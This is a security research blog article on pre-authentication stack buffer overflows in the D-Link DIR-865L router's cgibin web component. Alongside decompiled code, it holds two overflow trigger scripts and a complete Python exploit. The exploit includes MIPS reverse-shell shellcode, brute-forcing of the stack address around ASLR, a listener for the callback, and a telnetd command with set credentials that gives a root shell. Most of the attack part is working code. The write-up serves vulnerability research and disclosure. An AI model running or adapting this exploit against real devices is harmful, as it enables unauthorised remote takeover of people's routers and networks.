Before starting, it is recommended to read the previous articles:

Hello, this is the last article about the router D-Link DIR-865L.

In the previous articles (C101011, C101100) we first saw the possibility of exploiting a chain of logical bugs in order to get a Remote Code Execution. Then, we saw that the absence of signature verification during the firmware update, allows us to upload a backdoored firmware.

The following article will shows how a Stack Based Buffer Overflow memory corruption will allow us to obtain a Remote Code Execution but first we’ll see how HTTP requests are handled by the web server.

The Web server

As we have presented in the first article of this serie, here is a global schema showing how the router works.

alt-text

Now, we will explain in more detail, what is really going on:

  1. The Web server (httpd located at /sbin/httpd) listens on port 80 and 8181 using network sockets.
  2. When an HTTP request is received, /sbin/httpd forks and then binary /htdocs/cgibin is started (the parent and child processes communicate through a pipe), all of this is handled by the spawn() function.
  3. In the case where the program /htdocs/cgibin seeks to execute PHP code, it communicates via a unix socket with the binary usr/sbin/xmldbc which is responsible for carrying out the execution of the PHP code.

What we are interested in, is step two. When httpd forks and executes cgibin, if cgibin crashes, httpd continues its execution normally without interrupting the normal functioning of the router. So we will have to find memory corruptions in binary /htdocs/cgibin.

alt-text

alt-text

Memory corruptions

Stack Based Buffer Overflow (post-auth)

After looking at the code thanks to Ghidra I could identify multiple memory corruptions. There is a Stack Based Buffer Overflow via function strncpy() in array acStack_110 (of size 206). While cgibin parse /var/run/storage_account_root using function FUN_00410a70(), we can control variable local_118 and sVar2 which are respectively the 2nd (src) and 3rd (len) argument of function stpncpy().

char * stpncpy(char * dst, const char * src, size_t len);

File: /htdocs/cgibin
Function: FUN_00410a70()

undefined4 FUN_00410a70(int param_1,int param_2) {
  FILE *__stream;
  char *pcVar1;
  size_t sVar2;
  int iVar3;
  __ssize_t _Var4;
  undefined4 local_128;
  char *local_118;
  size_t local_114;
  char acStack_110 [260];
  
  local_118 = (char *)0x0;
  local_114 = 0;
  local_128 = 0xffffffff;
  __stream = fopen("/var/run/storage_account_root","r");
  if (__stream != (FILE *)0x0) {
    do {
      _Var4 = getline(&local_118,&local_114,__stream);
      if ((_Var4 == -1) || (pcVar1 = strchr(local_118,0x3a), pcVar1 == (char *)0x0))
      goto LAB_00410c90;
      sVar2 = (int)pcVar1 - (int)local_118;
      strncpy(acStack_110,local_118,sVar2);
      acStack_110[sVar2] = '\0';
      pcVar1 = *(char **)(param_1 + 4);
      sVar2 = strlen(*(char **)(param_1 + 4));
      iVar3 = strncasecmp(acStack_110,pcVar1,sVar2);
      pcVar1 = local_118;
    } while (iVar3 != 0);
    sVar2 = strlen(*(char **)(param_1 + 4));
    FUN_00410894(pcVar1 + sVar2 + 1,param_2);
    strcpy((char *)(param_1 + 0xc),acStack_110);
    local_128 = 0;
  }
LAB_00410c90:
  if (local_118 != (char *)0x0) {
    free(local_118);
  }
  return local_128;
}

The function FUN_00410a70() is referenced by two other function:

  • FUN_00412be8()
  • FUN_00411604()

File: /htdocs/cgibin
Function: FUN_00412be8()

undefined4 FUN_00412be8(int param_1,int param_2) {
  int iVar1;
  size_t sVar2;
  size_t sVar3;
  int local_448;
  int local_444;
  char acStack_440 [128];
  char acStack_3c0 [512];
  char acStack_1c0 [16];
  char acStack_1b0 [128];
  undefined auStack_130 [4];
  int local_12c;
  undefined4 local_20;
  
  local_448 = 0;
  memset(auStack_130,0,0x10c);
  local_12c = param_2;
  iVar1 = FUN_00410a70((int)auStack_130,(int)acStack_440);
  if (iVar1 < 0) {
    local_20 = 0xffffffff;
  }
  else {
    sprintf(acStack_3c0,"%s%s",(char *)param_2,(char *)(param_1 + 0x40));
    sVar2 = strlen(acStack_3c0);
    sVar3 = strlen(acStack_440);
    hmac_md5((int)acStack_3c0,sVar2,acStack_440,sVar3,(int)acStack_1c0);
    for (local_444 = 0; local_444 < 0x10; local_444 = local_444 + 1) {
      iVar1 = sprintf(acStack_1b0 + local_448,"%02x",(int)acStack_1c0[local_444] & 0xff);
      local_448 = local_448 + iVar1;
    }
    iVar1 = strcmp(acStack_1b0,(char *)(param_2 + 0x80));
    if (iVar1 == 0) {
      *(undefined4 *)(param_2 + 0x180) = 0;
      local_20 = 0;
    }
    else {
      local_20 = 0xffffffff;
    }
  }
  return local_20;
}

And

File: /htdocs/cgibin
Function: FUN_00411604()

int FUN_00411604(uint *param_1,char *param_2,uint param_3) {
  bool bVar1;
  int iVar2;
  char *__src;
  undefined3 extraout_var;
  long lVar3;
  undefined4 uVar4;
  int local_1a4;
  undefined auStack_1a0 [128];
  undefined auStack_120 [4];
  char *local_11c;
  char acStack_114 [268];
  
  memset(auStack_120,0,0x10c);
  local_11c = param_2;
  iVar2 = FUN_00410a70((int)auStack_120,(int)auStack_1a0);
  if (-1 < iVar2) {
    strcpy(param_2,acStack_114);
    __src = getenv("REMOTE_ADDR");
    if ((((param_1 != (uint *)0x0) && (param_2 != (char *)0x0)) && (__src != (char *)0x0)) &&
       (*__src != '\0')) {
      memset(param_1,0,0xe8);
      for (local_1a4 = 1; local_1a4 < 0x81; local_1a4 = local_1a4 + 1) {
        iVar2 = FUN_00410d34(param_1,local_1a4,0,param_3);
        if ((iVar2 < 0) || (bVar1 = FUN_0041114c(*param_1), CONCAT31(extraout_var,bVar1) != 0)) {
          memset(param_1,0,0xe8);
          strncpy((char *)(param_1 + 2),param_2 + 0x100,0x40);
          strncpy((char *)(param_1 + 0x16),param_2,0x80);
          strncpy((char *)(param_1 + 0x12),__src,0x10);
          lVar3 = FUN_00410ce0();
          *param_1 = lVar3 + 600;
          param_1[1] = *(uint *)(param_2 + 0x180);
          uVar4 = 1;
          iVar2 = local_1a4;
          FUN_00410d34(param_1,local_1a4,1,param_3);
          FUN_0041152c((char *)(param_1 + 2),iVar2,uVar4,param_3);
          return local_1a4;
        }
      }
    }
  }
  return -1;
}

Function FUN_00412be8() and FUN_00411604() are only referenced by function authenticationcgi_main().

File: /htdocs/cgibin
Function: FUN_00411604()

undefined4 authenticationcgi_main(undefined4 param_1,char **param_2,undefined4 param_3,undefined4 param_4) {
  char *__s1;
  uint uVar1;
  uint uVar2;
  int iVar3;
  FILE *pFVar4;
  undefined *puVar5;
  undefined4 uVar6;
  char acStack_304 [256];
  char acStack_204 [132];
  uint auStack_180 [58];
  char acStack_98 [144];
  
  __s1 = getenv("REQUEST_METHOD");
  memset(auStack_180,0,0xe8);
  memset(acStack_304,0,0x184);
  uVar6 = 0x84;
  memset(acStack_98,0,0x84);
  uVar1 = FUN_0040ff98(*param_2);
  if (__s1 == (char *)0x0) {
    FUN_0041215c((int)acStack_304,(int)acStack_98,4);
  }
  else if ((uVar1 == 1) || (uVar1 == 3)) {
    uVar2 = FUN_004129f0(uVar1);
    if ((uVar2 == 0) || (iVar3 = FUN_00412a44(uVar1), iVar3 < 0)) {
      FUN_0041215c((int)acStack_304,(int)acStack_98,0xb);
    }
    else {
      FUN_0041215c((int)acStack_304,(int)acStack_98,10);
    }
  }
  else {
    puVar5 = &DAT_00432198;
    iVar3 = strcmp(__s1,"GET");
    if (iVar3 == 0) {
      iVar3 = FUN_004127d4(acStack_98,puVar5,uVar6,param_4);
      if (iVar3 < 0) {
        FUN_0041215c((int)acStack_304,(int)acStack_98,1);
      }
      else {
        FUN_0041215c((int)acStack_304,(int)acStack_98,0);
      }
    }
    else {
      iVar3 = strcmp(__s1,"POST");
      if (iVar3 == 0) {
        memset(acStack_304,0,0x184);
        iVar3 = FUN_00412018(acStack_304);
        if (iVar3 < 0) {
          FUN_0041215c((int)acStack_304,(int)acStack_98,5);
        }
        else {
          uVar6 = 0x84;
          memset(acStack_98,0,0x84);
          iVar3 = FUN_004113a0(acStack_98,acStack_204);
          if (iVar3 < 0) {
            FUN_0041215c((int)acStack_304,(int)acStack_98,6);
          }
          else {
            if (uVar1 == 0) {
              iVar3 = FUN_00412e30((int)acStack_98,(int)acStack_304,uVar6,param_4);
              if (iVar3 < 0) {
                FUN_0041215c((int)acStack_304,(int)acStack_98,3);
                return 0;
              }
            }
            else if (uVar1 == 2) {
              pFVar4 = fopen("/var/run/storage_account_root","r");
              if (pFVar4 == (FILE *)0x0) {
                FUN_0041215c((int)acStack_304,(int)acStack_98,0xc);
                return 0;
              }
              iVar3 = FUN_00412be8((int)acStack_98,(int)acStack_304);
              if (iVar3 < 0) {
                FUN_0041215c((int)acStack_304,(int)acStack_98,3);
                return 0;
              }
            }
            iVar3 = FUN_00411604(auStack_180,acStack_304,uVar1);
            if (iVar3 < 0) {
              FUN_0041215c((int)acStack_304,(int)acStack_98,8);
            }
            else {
              FUN_0041215c((int)acStack_304,(int)acStack_98,2);
            }
          }
        }
      }
      else {
        FUN_0041215c((int)acStack_304,(int)acStack_98,4);
      }
    }
  }
  return 0;
}
  • main()
    • authenticationcgi_main()
      • FUN_00412be8() or FUN_00411604()
        • FUN_00410a70()

It is easy to trigger the bug (it is necessary to be authenticated to make changes to file /var/run/storage_account_root), but, it may not be so easy to exploit.

Stack Based Buffer Overflow (pre-auth)

After some more searching I found two ways to trigger a Stack Based Buffer Overflow allowing me to control the s8 and pc registers without authentication.

First trigger

alt-text

alt-text

File: trigger_0.py

import socket


# Target IP.
IP = b"192.168.0.1"
# Target port.
PORT = 8181
# Path to reach the vulnerable code.
BASE_PATH = b"/dws/api/Login"
# Padding to fill the buffer and then 
# overflow registers.
PADDING = 508


# HTML POST request body.
http_request_body = b"id=junk&password=junk"

payload  = b""
# Adding padding.
payload += b"A" * PADDING
# Controlling s8 (42424242).
payload += b"B" * 4
# Controlling pc (43434343).
payload += b"C" * 4
# Controlling on what register s2 point to:
#     - padding
payload += b"D" * 64
#     - value (45454545)
payload += b"E" * 4
# Controlling on what register s3 point to:
#     - padding
payload += b"F" * 184
#     - value (47474747)
payload += b"G" * 4

http_request_header  = b""
http_request_header += b"POST " + BASE_PATH + b" HTTP/1.1" + b"\r\n"
http_request_header += b"Host: " + IP + b":" + str(PORT).encode() + b"\r\n"
http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
http_request_header += b"Cookie: uid=" + payload + b"\r\n"
http_request_header += b"\r\n"
http_request = http_request_header + http_request_body + b"\r\n\r\n"


try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    s.send(http_request)
    response = s.recv(256)
    print(response)
except Exception as e:
    print(e)

Second trigger

alt-text

alt-text

File: trigger_1.py

import socket
import struct


# Target IP.
IP = b"192.168.0.1"
# Target port.
PORT = 8181
# Path to reach the vulnerable code.
BASE_PATH = b"/dws/api/Login"
# Padding to fill the buffer and then 
# overflow registers.
PADDING = 636


payload  = b""
# Adding padding.
payload += b"A" * PADDING
# Controlling s8 (42424242).
payload += b"B" * 4
# Controlling pc (43434343).
payload += b"C" * 4
# Controlling on what register s2 point to:
#     - padding
payload += b"D" * 64
#     - value (45454545)
payload += b"E" * 4
# Controlling on what register s3 point to:
#     - padding
payload += b"F" * 184
#     - value (47474747)
payload += b"G" * 4

# HTML POST request body.
http_request_body = b"id=junk&password=" + payload

http_request_header  = b""
http_request_header += b"POST " + BASE_PATH + b" HTTP/1.1" + b"\r\n"
http_request_header += b"Host: " + IP + b":" + str(PORT).encode() + b"\r\n"
http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
http_request_header += b"Cookie: uid=junk" + b"\r\n"
http_request_header += b"\r\n"
http_request = http_request_header + http_request_body + b"\r\n\r\n"


try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    s.send(http_request)
    response = s.recv(256)
    print(response)
except Exception as e:
    print(e)

So we have found two ways to control the execution flow of the program cgibin.

Exploit

Let’s use checksec on our binary:

alt-text

The following information are extremely important:

  • The program stack is executable NX disabled.
  • Our program is not a pogram of type Position Independent Executable No PIE.

For the router:

alt-text

  • ASLR (Address Space Layout Randomization) is enabled.

Strategy

To summarize:

  • httpd forks at each request and executes cgibin whose execution flow is under our control.
  • cgibin stack is executable (of which we control a consequent number of bytes) but ASLR is enabled.

Therefore, it could be thought that, it would be a good idea to use a technique like ROP (Return Oriented Programming). However, if you run the script trigger_1.py several times in a row, you will notice the following.

alt-text

alt-text

alt-text

During the exploit (for firmwares v1.00 to v1.03v), the register sp takes values which does not seem to be random enough:

  • Value: 0x7feffc28
  • Value: 0x7fcabc28
  • Value: 0x7ff0cc28
  • Value: …

These values can be decomposed as follows:

  • Value: 0x7feffc28
    • Prefix: 0x7f
    • Random part: eff
    • Suffix: c28
  • Value: 0x7fcabc28
    • Prefix: 0x7f
    • Random part: cab
    • Suffix: c28
  • Value: 0x7ff0cc28
    • Prefix: 0x7f
    • Random part: f0c
    • Suffix: c28

For versions greater or equal to v1.05 the suffix has the value 938.

In fact we realize that the register sp is composed of 12 random bits and 20 predictable bits. Furthermore, 2 power 12 equals 4096, so there are only 4096 possible values for sp. We will try to brute force its value and hope to hit the start of our shellcode or at least the start of a NOP instruction.

On MIPS there is no NOP instruction, but we can execute equivalent instructions, like this one:

  • nor $t6, $t6, $zero

Payload

We will arrange our payload to optimize the chances of success. The goal is to slide to our shellcode, and to do this, we must hit our NOP sled. But not at any place, we have to hit the beginning of the instruction nor $t6, $t6, $zero.

alt-text

Not hitting the exact start of an instruction, will cause the exploit to fail. We will try to exploit this buffer overflow within different threads (in while loop), while waiting for a thread to succeed. The shellcode being a reverse shell we will dedicate a thread to check that the shellcode has been executed. Once a bash shell (/bin/sh) is retrieved via the reverse shell, we execute a bash command to run the telnetd binary and get a more stable shell.

Here we can see several 0x41414141 between shellcode and pc but actually the stack looks more like this (please refer to the Proof Of Concept section).

  -----------
 |    NOP    | <- NOP sled of a pre-calculated length depending of the target firmware version.
 |    ...    |
  -----------
 | SHELLCODE | <- Reverse shell shellcode.
  -----------
 |   AAAA    | <- Junk value which I used only during the debug phase.
  -----------
 |   BBBB    | <- Junk value to control the s8 register.
  -----------
 |    ~SP    | <- Value to control the pc register.
  -----------
 |    NOP    | <- NOP sled of 10 NOP instruction.
 |    ...    |
  -----------
 | SHELLCODE | <- Reverse shell shellcode.
  -----------

Proof Of Concept

alt-text

File: exploit.py

import argparse
import os
import requests
import socket
import struct
import threading
import urllib3


# Remove SSL warnings.
urllib3.disable_warnings()

# Exploitable versions.
#     - padding: Padding to fill the buffer and then
#       start overflowing registers.
#     - sp_prefix: First 8 bits of sp register.
#     - sp_suffix: Last 12 bits of sp register.
VERSIONS = {
    "1.00": {
        "padding": 636,
        "sp_prefix": "0x7f",
        "sp_suffix": "c28",
    },
    "1.02": {
        "padding": 636,
        "sp_prefix": "0x7f",
        "sp_suffix": "c28",
    },
    "1.03": {
        "padding": 636,
        "sp_prefix": "0x7f",
        "sp_suffix": "c28",
    },
    "1.05": {
        "padding": 508,
        "sp_prefix": "0x7f",
        "sp_suffix": "938",
    },
    "1.07": {
        "padding": 508,
        "sp_prefix": "0x7f",
        "sp_suffix": "938",
    }
}

# Direction in which we iterate within
# the memory address space.
REVERSE_ORDER = 0

# Possible NOP instruction for MIPS32 Little Endian CPUs,
# calculated from Website:
#     - URL: https://www.eg.bucknell.edu/~csci320/mips_web/
NOP = b"\x01\xc0\x70\x27"[::-1] # nor $t6, $t6, $zero,

# IP on which the reverse shell will try to connect.
REVSH_IP = "192.168.1.100"
ENCODED_REVSH_IP = [
    int(hex(int(REVSH_IP.split(".")[0]))[2:4], 16).to_bytes(1, "little") + int(hex(int(REVSH_IP.split(".")[1]))[2:4], 16).to_bytes(1, "little"),
    int(hex(int(REVSH_IP.split(".")[2]))[2:4], 16).to_bytes(1, "little") + int(hex(int(REVSH_IP.split(".")[3]))[2:4], 16).to_bytes(1, "little")
]
for i in range(len(ENCODED_REVSH_IP)):
    ENCODED_REVSH_IP[i] = ENCODED_REVSH_IP[i][::-1]
    if ENCODED_REVSH_IP[i].find(b"\x00") != -1 or ENCODED_REVSH_IP[i].find(b"\x0a") != -1 :
        print(f"[x] Hexadecimal representation of {REVSH_IP} must not contain NULL byte.")
        exit(-1)

# Port on which the reverse shell will try to connect.
REVSH_PORT = 61337
ENCODED_REVSH_PORT = (int(hex(REVSH_PORT)[2:4], 16)-1).to_bytes(1, "little") + (int(hex(REVSH_PORT)[4:6], 16)).to_bytes(1, "little")
if ENCODED_REVSH_PORT.find(b"\x00") != -1 or ENCODED_REVSH_PORT.find(b"\x0a") != -1 :
    print(f"[x] Hexadecimal representation of {REVSH_PORT} must not contain NULL byte.")
    exit(-1)

# Public shellcode (MIPS32 reverse shell):
#     - URL: https://www.eg.bucknell.edu/~csci320/mips_web/
SHELLCODE = []
#    sys_close
SHELLCODE.append(b"\x28\x04\xff\xff") # SLTI    $a0     $zero     0xFFFF
SHELLCODE.append(b"\x24\x02\x0f\xa6") # ADDIU   $v0     $zero     0x0FA6 (4006 <=> sys_close)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    sys_close
SHELLCODE.append(b"\x28\x04\x11\x11") # SLTI    $a0     $zero     0x1111
SHELLCODE.append(b"\x24\x02\x0f\xa6") # ADDIU   $v0     $zero     0x0FA6 (4006 <=> sys_close)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    sys_close
SHELLCODE.append(b"\x24\x0c\xff\xfd") # ADDIU   $t4     $zero     0xFFFD
SHELLCODE.append(b"\x01\x80\x20\x27") # NOR     $a0     $t4       $zero
SHELLCODE.append(b"\x24\x02\x0f\xa6") # ADDIU   $v0     $zero     0x0FA6 (4006 <=> sys_close)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    sys_socket
SHELLCODE.append(b"\x24\x0c\xff\xfd") # ADDIU   $t4     $zero     0xFFFD
SHELLCODE.append(b"\x01\x80\x20\x27") # NOR     $a0     $t4       $zero
SHELLCODE.append(b"\x01\x80\x28\x27") # NOR     $a1     $t4       $zero
SHELLCODE.append(b"\x28\x06\xff\xff") # SLTI    $a2     $zero     0xFFFF
SHELLCODE.append(b"\x24\x02\x10\x57") # ADDIU   $v0     $zero     0x1057 (4183 <=> sys_socket)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    Save return value ($v0) to register $a0.
SHELLCODE.append(b"\x30\x44\xff\xff") # ANDI    $a0     $v0       0xFFFF
#    sys_dup
SHELLCODE.append(b"\x24\x02\x0f\xc9") # ADDIU   $v0     $zero     0x0FC9 (4041 <=> sys_dup)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    sys_dup
SHELLCODE.append(b"\x24\x02\x0f\xc9") # ADDIU   $v0     $zero     0x0FC9 (4041 <=> sys_dup)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    sys_connect
SHELLCODE.append(b"\x3c\x05" + ENCODED_REVSH_PORT[::-1]) # LUI      $a1     <PORT>
SHELLCODE.append(b"\x34\xa5\xff\x01") # ORI     $a1     $a1       0xFF01
SHELLCODE.append(b"\x20\xa5\x01\x01") # ADDI    $a1     $a1       0x0101
SHELLCODE.append(b"\xaf\xa5\xff\xf8") # SW      $a1     0xFFF8    $sp
SHELLCODE.append(b"\x3c\x05" + ENCODED_REVSH_IP[1]) # LUI     $a1     0x1B01
SHELLCODE.append(b"\x34\xa5" + ENCODED_REVSH_IP[0]) # ORI     $a1     $a1       0xA8C0
SHELLCODE.append(b"\xaf\xa5\xff\xfc") # SW      $a1     0xFFFC    $sp
SHELLCODE.append(b"\x23\xa5\xff\xf8") # ADDI    $a1     $sp       0xFFF8
SHELLCODE.append(b"\x24\x0c\xff\xef") # ADDIU   $t4     $zero     0xFFEF
SHELLCODE.append(b"\x01\x80\x30\x27") # NOR     $a2     $t4       $zero
SHELLCODE.append(b"\x24\x02\x10\x4a") # ADDIU   $v0     $zero     0x104A (4170 <=> sys_connect)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
#    Putting "/bin/sh" on the stack.
SHELLCODE.append(b"\x3c\x08\x69\x62") # LUI     $t0     0x6962
SHELLCODE.append(b"\x35\x08\x2f\x2f") # ORI     $t0     $t0       0x2F2F
SHELLCODE.append(b"\xaf\xa8\xff\xec") # SW      $t0     0xFFEC    $sp
SHELLCODE.append(b"\x3c\x08\x68\x73") # LUI     $t0     0x6873
SHELLCODE.append(b"\x35\x08\x2f\x6e") # ORI     $t0     $t0       0x2F6E
SHELLCODE.append(b"\xaf\xa8\xff\xf0") # SW      $t0     0xFFF0    $sp
SHELLCODE.append(b"\x28\x07\xff\xff") # SLTI    $a3     $zero     0xFFFF
SHELLCODE.append(b"\xaf\xa7\xff\xf4") # SW      $a3     0xFFF4    $sp
SHELLCODE.append(b"\xaf\xa7\xff\xfc") # SW      $a3     0xFFFC    $sp
#     sys_execve
SHELLCODE.append(b"\x23\xa4\xff\xec") # ADDI    $a0     $sp       0xFFEC
SHELLCODE.append(b"\x23\xa8\xff\xec") # ADDI    $t0     $sp       0xFFEC
SHELLCODE.append(b"\xaf\xa8\xff\xf8") # SW      $t0     0xFFF8    $sp
SHELLCODE.append(b"\x23\xa5\xff\xf8") # ADDI    $a1     $sp       0xFFF8
SHELLCODE.append(b"\x27\xbd\xff\xec") # ADDIU   $sp     $sp       0xFFEC
SHELLCODE.append(b"\x28\x06\xff\xff") # SLTI    $a2     $zero     0xFFFF
SHELLCODE.append(b"\x24\x02\x0f\xab") # ADDIU   $v0     $zero     0x0FAB (4011 <=> sys_connect)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL

# Converting shellcode to Little Endian.
SHELLCODE = b"".join([instruction[::-1] for instruction in SHELLCODE])

# Port on which the telnetd process should listen.
TELNETD_PORT = 1337

# Credentials to use when connecting to telnetd.
CREDENTIALS = {
    "login": "coiffeur",
    "password": "coiffeur"
}


# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
    # The first delimiter is searched for.
    start = raw.find(start_delimiter)
    if start == -1:
        print("[x] Error: function extract() failed (can't find starting delimiter).")
        return None
    start = start + len(start_delimiter)
    # The second delimiter is searched for.
    end = raw[start::].find(end_delimiter)
    if end == -1:
        print("[x] Error: function extract() failed (can't find end delimiter).")
        return None
    end += start
    return raw[start:end]


class Recon:
    # The header "Server" leaks information (model number, firmware version).
    server_header = "Server"

    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

        # We check that we can communicate with the target
        # either through the HTTPS protocol or through the
        # HTTP protocol.
        if not (self.check_protocol(f"https://{ip}:{port}") or self.check_protocol(f"http://{ip}:{port}")):
            print("\t"+"[x] Can't communicate with the target.")
            exit(-1)
        print("\t"+f"[*] Target's URL: {self.url}")

        # We check that the target is vulnerable by identifying
        # its model number and firmware version.
        if not self.check_target():
            print("\t"+"[x] Target is not exploitable.")
            exit(-1)
        print("\t"+"[+] Target is exploitable.")

    # This function tries to communicate with the Web server
    # through the provided URL
    def check_protocol(self, url):
        try:
            r = requests.get(url=url, verify=False)
        except:
            return 0
        self.url = url
        return 1

    # This function checks the router model number through
    # the headers of the Web server response and the content
    # of the response body. The firmware version is given
    # for information only.
    def check_target(self):
        r = requests.get(url=self.url, allow_redirects=False, verify=False)
        if r.status_code != 200:
            return 0

        # We check the presence of the model number in the
        # self.server_header header.
        if r.headers[self.server_header].find("DIR-865L") == -1:
            return 0
        model_header = r.headers[self.server_header].split(" ")[2]
        version_header = " ".join(r.headers[self.server_header].split(" ")[3:5]).split(" ")[-1]
        print("\t"+f"[*] Model retrieved from header '{self.server_header}': {model_header} (Information Leak, pre-auth)")
        print("\t"+f"[*] Version retrieved from header '{self.server_header}': {version_header} (Information Leak, pre-auth)")

        # We check the presence of the model number in the body
        # of the Web server response.
        if r.text.find("DIR-865L") == -1:
            return 0
        model_body = extract(r.text, "<div class=\"pp\">", "<a").split(" ")[-1]
        version_body = extract(r.text, "<div class=\"fwv\">", "<span id=\"fw_ver\"").split(" ")[-1]
        print("\t"+f"[*] Model retrieved from HTML body: {model_body} (Information Leak, pre-auth)")
        print("\t"+f"[*] Version retrieved from HTML body: {version_body} (Information Leak, pre-auth)")
        
        if version_header == version_body:
            for version in VERSIONS:
                if version == version_body:
                    self.version = version
                    return 1
        return 0


class Attack:
    # Path (route) to trigger the Stack Based Buffer Overflows.
    base_path = "/dws/api/Login"

    # Table containing all our threads.
    threads = []

    # Number of threads used to check if the shellcode have been executed.
    number_of_check_threads = 1

    # Number of threads used to brute force sp register value.
    number_of_brute_force_threads = 0xf + 0x1

    # Once the a shell is obtained, we try to get a cleaner shell by executing
    # the following command.
    cmd = f"telnetd -p{TELNETD_PORT} -l/usr/sbin/login -u {CREDENTIALS['login']}:{CREDENTIALS['password']}"

    def __init__(self, ip, port, version):
        self.ip = ip
        self.port = port
        self.version = version

        # Number of char used during integer to
        # hexadecimal conversion.
        # Example:
        #     - from int: 23
        #     - to hex: 0x17
        self.hex_padding_format = 4
        self.intermediate_min = 0x00
        self.intermediate_max = 0xff

        print(f"\t[*] Starting {self.number_of_brute_force_threads + self.number_of_check_threads} threads ...")
        print(f"\t\t- {self.number_of_brute_force_threads} to brute force sp register value.")
        print(f"\t\t- {self.number_of_check_threads} to check if the shellcode have been executed.")
        # There we launch threads whose objective is to brute force the real value of sp register.
        for i in range(self.number_of_brute_force_threads):
            thread = threading.Thread(target=self.bf_sp, args=(i,))
            thread.start()
            self.threads.append(thread)
        # There we launch threads that check if the shellcode has been executed then we execute a bash commands.
        for _ in range(self.number_of_check_threads):
            thread = threading.Thread(target=self.check)
            thread.start()
            self.threads.append(thread)
        for thread in self.threads:
            thread.join()

    # This function is executed in a thread and brute force the value of the real sp register
    # by defining the value of pc with a potential value of sp since the stack is executable.
    def bf_sp(self, thread_id):
        global REVERSE_ORDER
        while 1:
            if REVERSE_ORDER == 0:
                REVERSE_ORDER = 1
                start = self.intermediate_min
                stop = self.intermediate_max + 1
                step = 1
            elif REVERSE_ORDER == 1:
                REVERSE_ORDER = 0
                start = self.intermediate_max  + 1
                stop = self.intermediate_min - 1
                step = -1

            for i in range(start, stop, step):
                hex_thread_id = hex(thread_id)[2::]
                intermediate = f"{i:#0{self.hex_padding_format}x}"[2::]
                # The payload can't contains NULL bytes (\x00).
                if intermediate.find("00") == -1:
                    sp = int(VERSIONS[self.version]["sp_prefix"] + hex_thread_id + intermediate + VERSIONS[self.version]["sp_suffix"], 16)

                    # The real value of sp points to what is written after the place where we rewrite pc.
                    # The stack being executable we place our shellcode (and a NOP sled before) on both sides of this value
                    payload  = b""
                    # Adding NOP sled.
                    if float(self.version) < float("1.05"):
                        payload += NOP * 108
                    else:
                        payload += NOP * 76
                    # Adding shellcode.
                    payload += SHELLCODE
                    # Adding padding.
                    payload += b"A" * (VERSIONS[self.version]["padding"]  - len(payload))
                    # Setting s8 tp Ox42424242 for debug purpose only.
                    payload += b"B" * 4
                    # Setting pc to sp in order
                    # to jump on our shellcode or
                    # at least in the NOP sled.
                    payload += struct.pack("I", sp)
                    # Adding NOP sled.
                    payload += NOP * 10
                    # Adding SHELLCODE.
                    payload += SHELLCODE

                    if float(self.version) < float("1.05"):
                        # HTML POST request body.
                        http_request_body = b"id=junk&password=" + payload
                        # HTML POST request headers.
                        http_request_header  = b""
                        http_request_header += b"POST " + self.base_path.encode() + b" HTTP/1.1" + b"\r\n"
                        http_request_header += b"Host: " + self.ip.encode() + b":" + self.port.encode() + b"\r\n"
                        http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
                        http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
                        http_request_header += b"Cookie: uid=junk" + b"\r\n"
                        http_request_header += b"\r\n"
                    else:
                        # HTML POST request body.
                        http_request_body = b"id=junk&password=junk"
                        # HTML POST request headers.
                        http_request_header  = b""
                        http_request_header += b"POST " + self.base_path.encode() + b" HTTP/1.1" + b"\r\n"
                        http_request_header += b"Host: " + self.ip.encode() + b":" + self.port.encode() + b"\r\n"
                        http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
                        http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
                        http_request_header += b"Cookie: uid=" + payload + b"\r\n"
                        http_request_header += b"\r\n"
                    # Final HTTP POST request.
                    http_request = http_request_header + http_request_body + b"\r\n\r\n"
                    # Sending the request to the Web server.
                    try:
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.connect((self.ip, int(self.port)))
                        s.send(http_request)
                        s.close()
                    except Exception as e:
                        pass

    # This function checks if the target has executed our shellcode, if so,
    # we try to execute a bash command.
    def check(self):
        s = socket.socket()
        s.bind((REVSH_IP, REVSH_PORT))
        s.listen(128)
        print(f"\t[*] Listening on {REVSH_IP}:{REVSH_PORT} ...")
        client_socket, client_address = s.accept()
        print(f"\t[*] Client {client_address[0]}:{client_address[1]} connected.")
        print("\t[*] Root shell acquired.")
        print(f"\t[*] Running command: {self.cmd}")
        client_socket.send(self.cmd.encode() + b"\n")
        print("[+] Exploit succeed.")
        os._exit(0)


def main(options):
    print(f"[*] Starting recon for {options['ip']}:{options['port']} ...")
    recon = Recon(options['ip'], options['port'])

    print(f"[*] Starting attack on {recon.ip}:{recon.port} ...")
    _ = Attack(recon.ip, recon.port, recon.version)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("ip", help="Target's IP.")
    parser.add_argument("port", help="Target's port.")
    args = parser.parse_args()

    options = {}
    if args.ip and args.port:
        options["ip"] = args.ip
        options["port"] = args.port
    else:
        parser.print_help()
        exit(-1)

    main(options)

Thank you for taking the time to read this article.